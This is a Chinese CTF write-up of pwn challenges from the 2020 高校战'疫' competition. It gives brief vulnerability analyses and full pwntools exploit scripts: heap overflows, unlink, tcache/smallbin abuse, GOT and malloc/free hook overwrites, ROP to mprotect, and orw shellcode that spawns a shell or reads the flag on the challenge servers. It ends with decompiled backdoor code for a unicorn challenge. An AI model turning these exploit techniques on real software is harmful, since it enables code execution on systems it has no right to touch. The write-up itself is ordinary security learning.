2020 高校战“疫”网络安全分享赛 pwn

前言

这次比赛的题量属实有点大, pwn题一共有12题. 不过部分题目也不是特别难. 然而我手速实在太慢了... 比赛两天只做出了5个比较常规的题目. 赛后又复现了5个比较有意思的题. blind pwn 因为赛后服务器环境没了也没法做, rust pwn 鉴于对 rust实在不熟就放弃了....
剩下的几个题目都挺有意思的.
musl 用的是 musl libc. 第一次见, 利用方式就是经典的 unlink
two_chunk 用了最新的 glibc 2.30. 也是考察了 malloc时候把 smallbin 往 tcache bin 回填的点(第三次见了)
unicorn 我觉得可以算 misc pwn了. 先得从 memory dump 里面恢复 elf 文件, 然后再 pwn掉它, 很有意思.
kernoob 是做的第一道内核堆题, 参考 kirin 的wp [1] 复现成功. 简单的 uaf 放在内核环境下就变得非常麻烦, 通过这个题也大概看了一遍 SLUB 的实现, kmalloc 里面要考虑到太多的底层东西, 分页, cache, NUMA 等等, 对底层不太了解的话很难理解代码逻辑. google 到一篇kmalloc 源码解析 [2]. 写的非常详细, 推荐对kmalloc感兴趣的同学阅读.

easy_heap | solved

add功能判断size的时候有个整型溢出, 但是好像没啥用

flag{asinsdfweusadqnmzposlakkdf}

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
import struct

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./easyheap"
ip = "121.36.209.145"
port = 9997

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./libc.so.6"
if LOCAL:
    io = process(filename)
    libc = elf.libc

    # # if LD_PRELOAD multiple libs, split with ':'
    # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    # libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, "choice:\n", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add(p, size, data):
    choice(p, 1)
    sla(p, "How long is this message?\n", str(size))
    sa(p, "content of the message?\n", data)
    ru(p, ".\n")

def remove(p, idx):
    choice(p, 2)
    sla(p, "index of the item to be deleted?\n", str(idx))
    res = ru(p, ".\n")
    return res

def edit(p, idx, data):
    choice(p, 3)
    sla(p, "index of the item to be modified?\n", str(idx))
    sa(p,"content of the message?\n", data)
    ru(p, ".\n")

pause(io)
bps.append(0x400B98) # get choice
gds['ptrs'] = 0x6020C0


add(io, 0x400, 'aaa\n')
add(io, 0x60, 'bbb\n')
add(io, 0x30, 'ccc\n')

remove(io, 1)
remove(io, 0)

choice(io, 1)
sla(io, "long", str(0x500))

fake_chunk = 0x60208d

edit(io, 0, flat(0x410, 0x20, 0, 0, 0, 0x71, fake_chunk))
# io.interactive()
remove(io, 2)
add(io, 0x60, 'b1\n')
add(io, 0x60, "\0"*3 + p64(0) + struct.pack("<i", -1000)*6 + flat(0x6020C0+0x8, 0x6020c0, 0x100))
base = 0x6020C0
free_got = 0x602018
puts_got  = 0x602020
puts_plt = 0x400670
edit(io, 0, flat(base+0x18, base+0x28, base+0x38, [free_got, 8], [puts_got, 8], [base+0x48, 8], "/bin/sh\0"))
edit(io, 0, p64(puts_plt))


res = remove(io, 1)
puts_addr = u64(res[:6]+'\0\0')
libc.address = puts_addr - libc.symbols['puts']
lg("libc base", libc.address)

system_addr = libc.symbols['system']

edit(io, 0, p64(system_addr))

remove(io, 2)

woodenbox2 | solved

最后退出的时候有个 double free, 会触发 malloc_hook, 所以可能是修改 malloc_hook

edit功能有堆溢出漏洞.

应该是要利用 stdout 来 leak libc

拿到libc地址了, 应该快了

flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./woodenbox2"
ip = "121.36.215.224"
port = 9998

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./libc6_2.23-0ubuntu11_amd64.so"
if LOCAL:
    # io = process(filename)
    # libc = elf.libc

    # if LD_PRELOAD multiple libs, split with ':'
    io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = elf.libc
    # libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, "choice:", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add(p, size, data):
    choice(p, 1)
    sla(p, "length of item name:", str(size))
    sa(p, "name of item:", data)

def edit(p, idx, size, data):
    choice(p, 2)
    sla(p, "index of item:", str(idx))
    sla(p, "length of item name:", str(size))
    sla(p, "new name of the item:", data)
    
def remove(p, idx):
    choice(p, 3)
    sla(p, "index of item:", str(idx))
    ru(p, "!!\n")

pause(io)
gds['ptrs'] = 0x5555557560A0

def loop(rand_i):
    global io
    add(io, 0xf0, 'a\n')
    add(io, 0x60, 'b\n')
    add(io, 0xf0, 'c\n')
    overlay = 6
    for i in range(overlay):
        add(io, 0x60, 'd\n')
    remove(io, 0)
    edit(io, 0, 0x70, flat('a'*0x60, 0x170, 0x100))
    remove(io, 0)

    remove(io, 0)
    add(io, 0xf0, 'a\n') 
    # fastbin -> 0x7ffff7dd1b78
    # overwrite to 0x7ffff7dd25dd
    edit(io, overlay, 0x102, 'a'*0xf0+flat(0, 0x71)+'\xdd'+chr((rand_i <<4)+5))

    add(io, 0x60, 'b222\n')
    add(io, 0x60, flat('a'*0x33, 0xfbad1800, 0, 0, 0)+"\0")

    rv(io, 0x40)
    libc.address = u64(rv(io, 8)) - 0x3c5600
    lg("libc.address", libc.address)

    # use malloc to one gadget
    one = libc.address + 0xf02a4
    fake2 = libc.symbols['__malloc_hook'] - 0x23 # malloc hook 
    payload = "a"*19 + p64(one) 

    remove(io, 5)
    edit(io, 3, 0x78, flat('a'*0x60, 0, 0x71, fake2))

    add(io, 0x60, 'a\n')
    add(io, 0x60, payload)

    choice(io, 4)
    sleep(0.5)
    sl(io, "eho 'pu1p';cat flag;echo 'pu2p'")
    io.interactive()

for i in range(0xf+1):
    try:
        io = remote(ip, port)
        loop(i)
        break
    except:
        continue

shortest_path| solved

计算最短路径的过程中有一个溢出点, 可以覆盖一个 flag, 进而导致 double free. 主要就是构造溢出的图花了不少时间, 算法太菜了 55555

flag{SPFA_1s_4_9o0d_A1gorithm}

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./Shortest_path"
ip = "121.37.181.246"
port = 19008

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

    # # if LD_PRELOAD multiple libs, split with ':'
    # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    # libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = elf.libc
    # libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, "options ---> ", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add_node(p, idx, size, data, nb_cnt=0, nbs=[], dists=[], price=1):
    choice(p, 1)
    sla(p, "Station ID: ", str(idx))
    sla(p, "Station Price: ", str(price))
    sla(p, "Name Length: ", str(size))
    sa(p, " Name: ", data)
    sla(p, "connected station: ", str(nb_cnt))
    # print(nbs)
    # print(dists)
    for i in range(nb_cnt):
        sla(p, "Conected station ID: ", str(nbs[i]))
        sla(p, "station distance: ", str(dists[i]))

def remove_node(p, idx):
    choice(p, 2)
    sla(p, "Station ID: ", str(idx))

def get_route(p, src, dest):
    choice(p, 4)
    sla(p, "Source Station ID: ", str(src))
    sla(p, "Target Station ID:", str(dest))

pause(io)
flag_addr = 0x6068E0

add_node(io, 0, 0x10, 'aa\n')
# add_node(io, 1, 0x60, 'bb\n')

start  = 3
add_node(io, start, 0x10, 'pu1p\n')
for i in range(start+1, 29):
    add_node(io, i, 0x10, 'pu1p', 1, [i-1], [1])

a = [i for i in range(start, 29)][::-1]
b = [i*2 for i in range(1, 28)]
add_node(io, 29, 0x10, 'pu1p', (29-start), a, b)

remove_node(io, 0)
# remove_node(io, 1)

get_route(io, 29, start)
remove_node(io, 0)

add_node(io, 1, 0x60, 'aa\n')
add_node(io, 2, 0x10, p64(0x100000001)+p64(flag_addr))
# add_node(io, 1, 0x60, 'bb\n')
# add_node(io, 2, 0x60, )
# io.interactive()

sleep(1)
sl(io, '3')
sleep(1)
sl(io, '1')
io.interactive()

lgd | solved

用了 snprintf 的返回值当作size, 可以导致堆溢出

full relro + seccomp 禁用 execve

构造栈溢出rop → mprotect → orw shellcode

(这个出题人代码写的太nb了, 自带混淆.......

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
ip = "121.36.209.145"
port = 9998

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./libc.so.6"
if LOCAL:
    # io = process(filename)
    # libc = elf.libc

    # if LD_PRELOAD multiple libs, split with ':'
    io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, ">> ", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add(p, size, data):
    choice(p, 1)
    sla(p, "_____?\n", str(size))
    sa(p, "yes_or_no?\n", data)

def remove(p, idx):
    choice(p, 2)
    sla(p, "index ?\n", str(idx))

def show(p, idx):
    choice(p, 3)
    sla(p, "index ?\n", str(idx))

def edit(p, idx, data):
    choice(p, 4)
    sla(p, "index ?\n", str(idx))
    sa(p, "new_content ?\n", data)

pause(io)
gds['sizes'] = 0x603260
gds['ptrs'] = 0x6032E0

sla(io, "name? \n", "pu1p")


add(io, 0x100, 'a'*0x71)
add(io, 0x100, '\0')
for i in range(15):
    add(io, 0x100, 'a')
    add(io, 0x100, '\0')
for i in range(32):
    remove(io, i)

add(io, 0x18, 'a'*0X200)
add(io, 0x60, 'bbb')
add(io, 0x10, 'ccc')

remove(io, 1)
edit(io, 0, flat('a'*0x18, 0x71, 0x6032d0, 0))

add(io, 0x60, 'aaa')
add(io, 0x60, 'xxx')

# ptrs[3] -> ptrs
# sizes[1, 2, 3, 3] = 0x200

ptrs_addr = 0x6032e0
# leak libc
got_puts = 0x602FA0
edit(io, 3, flat(ptrs_addr, got_puts))

show(io, 1)
puts_addr = u64(rv(io, 6)+'\0\0')
libc.address = puts_addr - libc.symbols['puts']
lg("libc.address", libc.address)

# leak stack
edit(io, 0, flat(ptrs_addr, libc.symbols['environ']))
show(io, 1)
stack_addr = u64(rv(io, 6)+'\0\0')
lg("stack_addr", stack_addr)


# write shellcode to bss
sc_addr = 0x603800
# edit(io, 0, flat(ptrs_addr, stack_addr, sc_addr)) # remote libc
edit(io, 0, flat(ptrs_addr, stack_addr-0x240, sc_addr))

sc = asm(shellcraft.amd64.linux.open("./flag", 0))
sc += asm(shellcraft.amd64.linux.read('rax', 0x603700, 0x40))
sc += asm(shellcraft.amd64.linux.write(1, 0x603700, 0x40))
edit(io, 2, sc)


# construct rop payload
bps.append(0x40208A) # read in edit

PrdiR = 0x00000000004023b3
Prsir15R = 0x00000000004023b1
PrdxR = libc.address + 0x0000000000001b92
PrcxrbxR = libc.address + 0x00000000000ea69a
mprotect_addr = libc.symbols['mprotect']
# rop payload -> mprotect -> shellcode
p1 = flat(
    PrdiR, 0x603000,
    Prsir15R, 0x1000, 0, 
    PrdxR, 7,
    mprotect_addr,
    sc_addr
)

edit(io, 1, p1)
io.interactive()

easy_vm| solved

0x80 对应的 操作 可以修改 vm 结构体. 可以实现任意地址读写. 改 free_hook 为 system 地址即可

flag{a73ujlkj2kohjnlkgmdfgkenzomd}

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./EasyVM"
ip = "121.36.215.224"
port = 9999

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./libc-2.23.so"
if LOCAL:
    # io = process(filename)
    # libc = elf.libc

    # if LD_PRELOAD multiple libs, split with ':'
    io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, ">>> \n", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add_code(p, code):
    choice(p, 1)
    sn(p, code)

def run_code(p):
    choice(p, 2)

def remove_code(p):
    choice(p, 3)

def set_reg(idx, val):
    return "\x80"+chr(idx)+p32(val)
def push(val):
    return "\x71"+p32(val)
def pop():
    return "\x76"+p32(0)

pause(io)

# 00000000 vm              struc ; (sizeof=0x3C, mappedto_5)
#     00000000 r_addr          dd ?
#     00000004 r1              dd ?
#     00000008 r2              dd ?
#     0000000C r_mul           dd ?
#     00000010 r_sub           dd ?
#     00000014 r_div           dd ?                    ; char
#     00000018 _sp             dd ?
#     0000001C stack_top       dd ?
#     00000020 _ip             dd ?
#     00000024 r_xor           dd ?
#     00000028 stack_base      dd ?
#     0000003C vm              ends
#     get elf base

choice(io, 4)
p1 = "\x09\x11\x99"
add_code(io, p1)
run_code(io)
# choice(io, 2)
elf.address = int(rl(io), 16) - 0x6c0
lg("elf base", elf.address)

# get libc base
got_puts = elf.got['puts']
# got___libc_start_main = elf.got['__libc_start_main']
p2 = ""
p2 += set_reg(3, got_puts) + '\x53\x00'
p2 += set_reg(3, got_puts+1) + '\x53\x00'
p2 += set_reg(3, got_puts+2) + '\x53\x00'
p2 += set_reg(3, got_puts+3) + '\x53\x00'
p2 += '\x99'

add_code(io, p2)
run_code(io)
sleep(1)
puts_addr = u32(rv(io, 4))
libc.address = puts_addr - libc.symbols['puts']
lg("libc.address", libc.address)

pause(io)
# change free hook to system
fh_addr = libc.symbols['__free_hook']

p3 = ""
p3 += set_reg(6, fh_addr+4)
p3 += push(libc.symbols['system'])
p3 += set_reg(0, u32("/bin"))
p3 += set_reg(1, u32("/sh\0"))
p3 += "\x99"
add_code(io, p3)
run_code(io)

sleep(1)
choice(io, 3)
io.interactive()

musl | solved(after game)

挺有意思的一个题目.

用的 musl libc(第一次见). 通过strings 附件中的 libc.so 可知libc 版本为 1.1.224, 然后去 官网https://git.musl-libc.org/cgit/musl下载源码.

通过查看源码可以发现 unlink 的时候没有任何校验.

题目提供了一次堆溢出操作. 结合 unlink 可以实现任意地址写. 但是这个程序是 mmap 了一块随机地址的内存存储 malloc 返回的指针. 所以没办法直接用 unlink 改指针. 这块卡了一会儿.

但是发现利用 edit 功能可以实现任意次 unlink 攻击. 所以最终思路如下:

  1. 利用 多次 unlink 在bss 段伪造一个 (size, ptr) 对, ptr 指向0x602030
  2. 利用 unlink 把 指向 mmap 内存 的指针的值改为指向 bss段伪造的 (size, ptr) 对.
  3. 利用 edit 和 show 功能即可实现任意次 任意地址读写
  4. (为了绕过edit 中 限制 size ≤ 0x80) 需要把地址错开(就像 fast bin attack 中伪造 size 那样)
  5. 先用got表读 libc 地址, 然后用 libc.symbols['environ'] 拿到 栈地址, 然后算一下偏移直接修改 edit 函数的返回地址.

flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE}

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./carbon"
ip = "119.3.158.103"
port = 19008

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

# elf = ELF(filename)

remote_libc = "./libc.so"
if LOCAL:
    io = process(filename)
    # if LD_PRELOAD multiple libs, split with ':'
    # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, "> ", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add(p, size, data, ow='N'):
    choice(p, 1)
    sla(p, "size? >", str(size))
    sla(p, "believer? >", ow)
    sa(p, "sleeve >", data)

def remove(p, idx):
    choice(p, 2)
    sla(p, "ID? >", str(idx))

def show(p, idx):
    choice(p, 4)
    sla(p, "ID? >", str(idx))

def edit(p, idx, data):
    choice(p, 3)
    sla(p, "ID? >", str(idx))
    sleep(0.5)
    sn(p, data)

pause(io)
gds['flags'] = 0x602030
gds['arr'] = 0x602040
gds['bins'] = 0x7ffff7ffbac0
gds['ptrs'] = 0x00007ffff7ff5000
gds['heap'] = 0x00007ffff7ffe3b0

add(io, 0x10, 'a\n')
add(io, 0x10, 'b\n')
add(io, 0x80, 'c\n')
add(io, 0x10, 'd\n')

remove(io, 0)
remove(io, 2)

add(io, 0x10, flat('a'*0x10, 0x21, 0x21, 'a'*0x10, 0x21, 0xa0, 0x602030, 0x602058)+'\n', "Y")

bps.append(0x7FFFF7D8085E) # ubin in malloc

add(io, 0x80, 'c\n') 

edit(io, 2, flat(0x602030, 0x602072-0x10)+'\n')

add(io, 0x80, 'c\n') 

edit(io, 2, flat(0x60206a, 0x602040-0x10)+'\n')

add(io, 0x80, 'c\n') 

edit(io, 0, flat(0, 0, 0x602050, 0,  0x80, 0x602030, 0x80, 0x601FE8)+'\n')
show(io, 1)
strlen_addr = u64(rv(io, 6)+'\0\0')
libc.address = strlen_addr - libc.symbols['strlen']
lg("libc.address", libc.address)

prefix = flat(0, 0, 0x602050, 0,  0x80, 0x602030)
edit(io, 0, prefix+flat(0x80, libc.symbols['environ'])+'\n')
show(io, 1)
stack_addr = u64(rv(io, 6)+'\0\0')
lg('stack_addr', stack_addr)

ret_addr = stack_addr - 0x70
edit(io, 0, prefix+flat(0x80, ret_addr)+'\n')

system_addr = libc.symbols['system']
sh_addr = libc.search("/bin/sh\0").next()

p1 = flat(
    libc.address + 0x0000000000014862, sh_addr,
    system_addr, 0xdeadbeef)

edit(io, 1, p1+'\n')

io.interactive()

two_chunk | solved(after game)

libc 2.30

赛后参考 NU1L 的wp 复现了一遍.

利用 malloc small chunk 的过程中会尽量用多余的small chunk 把 tcahce bin 填满的特性.

(之前buuctf 红包题也是类似的利用点, 但是当时只用到往任意地址写一个极大值. 没有意识到完全可以实现 任意地址写)

还有个点值得注意就是构造 small bin 的链. 因为只能分配两个chunk, 所以需要通过 切割较大的 unsorted bin 得到 0x90 大小的 unsorted bin, 再利用 malloc_consolidate 放入 small bin 中

(因为没有 glibc 2.30的环境, 所以我是在 glibc 2.29下做的. 两个版本的malloc 实现差不多)

#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./twochunk_29"
ip = "121.36.209.145"
port = 9999

LOCAL = True if len(sys.argv)==1 else False

global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}

elf = ELF(filename)

remote_libc = "./libc_2.29.so"
if LOCAL:
    # io = process(filename)
    # libc = elf.libc

    # # if LD_PRELOAD multiple libs, split with ':'
    io = process(filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)


def pause(p, s = 'pause'):
    if LOCAL:
        print('pid: ' + str(p.pid))
        return raw_input(s)
    else:
        return raw_input(s)

def choice(p, idx):
    sla(p, "choice: ", str(idx))
    
def lg(name, val):
    log.info(name+" : "+hex(val))

def add(p, idx, size):
    choice(p, 1)
    sla(p, "idx: ", str(idx))
    sla(p, "size: ", str(size))
    ru(p, "success")

def remove(p, idx):
    choice(p, 2)
    sla(p, "idx: ", str(idx))

def show(p, idx):
    choice(p, 3)
    sla(p, "idx: ", str(idx))

def edit(p, idx, data):
    choice(p, 4)
    sla(p, "idx: ", str(idx))
    sa(p, "content: ", data)

def show2(p):
    choice(p, 5)

def add_88(p, data):
    choice(p, 6)
    sa(p, "message: ", data)

def back_door(p):
    choice(p, 7)

pause(io)
mmap = 0x23333000
elf_ptr = 0x555555558008
gds['flags'] = 0x555555558010
gds['ptrs'] = 0x5555555580A0

sa(io, "name: ", p64(0x23333020)*6)
sa(io, "message: ", p64(0x23333020)*8)

# add 5 chunks to 0x90 tcache bin
for i in range(5):
    add(io, 0, 0x88)
    remove(io, 0)

# split 0x130 chunk to a 0x90 chunk in unsorted bin
add(io, 0, 0x128)
for i in range(7):
    add(io, 1, 0x128)
    remove(io, 1)
remove(io, 0)
add(io, 1, 0x98)
remove(io, 1)

# add to 0x100 chunk to tcache bin
add(io, 0, 0xe9)
add(io, 1, 0xe9)
remove(io, 0)
remove(io, 1)

# split 0x140 chunk to a 0x90 chunk in unsorted bin
add(io, 0, 0x138)
for i in range(7):
    add(io, 1, 0x138)
    remove(io, 1)
remove(io, 0)
add(io, 1, 0xa8)  # split 0x140 chunk to a 0xb0 and 0x90 chunk
remove(io, 1) # then put 0xb0 chunk to tcache bin

# leak heap addr
add(io, 1, 23333)
show(io, 1)

heap = u64(rv(io, 8)) - 0xeb0
lg('heap', heap)

# make 2 0x90 chunk in unsorted bin into smallbin
add(io, 0, 0x200)
remove(io, 0)

# corrupt 2nd chunk smallbin
p1 = flat(0x108*'\x00',
    0xb1, '\x00'*0X98,
    0x91, heap+0x5c0, 0x23332ff0
    )
p1 += p64(0xb1)

edit(io, 1, p1)

# trigger put back process in _int_malloc
# RTFSC for more information
add(io, 0, 0x88)

show2(io)
ru(io, "message: ")
libc.address = u64(rv(io, 6)+"\0\0") - 0x3b1d20
lg("libc.address", libc.address)

system_addr = libc.symbols['system']
binsh_addr = libc.search("/bin/sh\0").next()

add_88(io, flat(system_addr, "/bin/sh\0", '\0'*0x20, 0x23333008))

back_door(io)
io.interactive()

unicorn | solved (after game)

第一次做这种pwn题, 很有意思.

首先需要从 dump 文件中提取出 elf 文件进行分析. 用这个脚本就好

global dump
dump = open("./xctf_pwn.dump", "rb").read()

def f(start, length):
    global dump
    return dump[start:start+length]


text = ""

text += f(0x1c7239, 0x9c8)
text += f(0x1c7c01, 0x1a) + f(0x3b5dec, 0xe) + f(0x1c5111, 0x100)
text += f(0x366c4c, 8) + f(0x35ac3b, 8) + f(0x3b7ffc, 0xaa2)
text += f(0x3b5dfa, 2) + f(0x1c5008, 9) + f(0x3b5e05, 3)
text += f(0x3c7b5e, 0x3f7) + f(0x3b5e04, 1) + f(0x3c7fed, 0xdc)
text += f(0x3b5ff8, 4) + f(0x5032a1, 0x3dc) + f(0xf5c, 0x24)
text += f(0x3b5c74, 178) 

open("./text", "wb").write(text)

然后就是分析程序, 发现有两个后门.

一个是 直接cat flag

__int64 __fastcall sub_401428(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  __int64 v3; // rcx
  __int64 v4; // r8
  __int64 result; // rax

  puts((__int64)"interactive mode Disable\n");
  printf((__int64)"but do you like flag? [Y/n]", a2, v2, v3, v4);
  result = get_chr__();
  if ( (_BYTE)result != 'n' && (_BYTE)result != 'N' )
  {
    puts((__int64)"First blood to you ");
    result = cat_flag((__int64)"flag.txt");
  }
  return result;
}

unsigned __int64 __fastcall cat_flag(__int64 a1)
{
  __int64 v1; // rdx
  __int64 v2; // rcx
  __int64 v3; // r8
  __int64 v4; // rdx
  __int64 v5; // rcx
  __int64 v6; // r8
  __int64 v8; // [rsp+18h] [rbp-78h]
  char buf; // [rsp+20h] [rbp-70h]
  unsigned __int64 v10; // [rsp+88h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v8 = fopen(a1, (__int64)byte_4015B8);
  if ( v8 )
  {
    fread(&buf, 100LL, v8);
    close__(v8);
    printf((__int64)"[%s]\n", (__int64)&buf, v4, v5, v6);
  }
  else
  {
    printf((__int64)&byte_4015C0, a1, v1, v2, v3);
  }
  return __readfsqword(0x28u) ^ v10;
}

一个是执行 shellcode

unsigned __int64 shell()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  __int64 v2; // r8
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // rdx
  __int64 v7; // rcx
  __int64 v8; // r8
  __int64 (__fastcall *v9)(__int64, __int64, __int64); // ST18_8
  __int64 v10; // rdx
  __int64 v11; // rcx
  __int64 v12; // r8
  __int64 v13; // ST20_8
  __int64 v14; // rdx
  __int64 v15; // rcx
  __int64 v16; // r8
  __int64 v17; // ST28_8
  __int64 v18; // rdx
  __int64 v19; // rcx
  __int64 v20; // r8
  __int64 v21; // ST30_8
  __int64 v22; // ST38_8
  __int64 v23; // rdx
  __int64 v24; // rcx
  __int64 v25; // r8
  char v27; // [rsp+40h] [rbp-510h]
  unsigned __int64 v28; // [rsp+548h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  puts((__int64)"Welcome to ubuntu shell\n");
  puts((__int64)"please write your shellcode i will run  [ size_t (*intput)(size_t , size_t , size_t ) ]");
  printf((__int64)"data ptr:%p\n", (__int64)&v27, v0, v1, v2);
  printf((__int64)"data<<", (__int64)&v27, v3, v4, v5);
  read(0LL, (__int64)&v27, 1280LL);
  printf((__int64)"invoke ptr<<", (__int64)&v27, v6, v7, v8);
  v9 = (__int64 (__fastcall *)(__int64, __int64, __int64))sub_400C26();
  printf((__int64)"arg0<<", (__int64)&v27, v10, v11, v12);
  v13 = sub_400C26();
  printf((__int64)"arg1<<", (__int64)&v27, v14, v15, v16);
  v17 = sub_400C26();
  printf((__int64)"arg2<<", (__int64)&v27, v18, v19, v20);
  v21 = sub_400C26();
  v22 = v9(v13, v17, v21);
  printf((__int64)"ret is 0x%llx\n", v22, v23, v24, v25);
  return __readfsqword(0x28u) ^ v28;
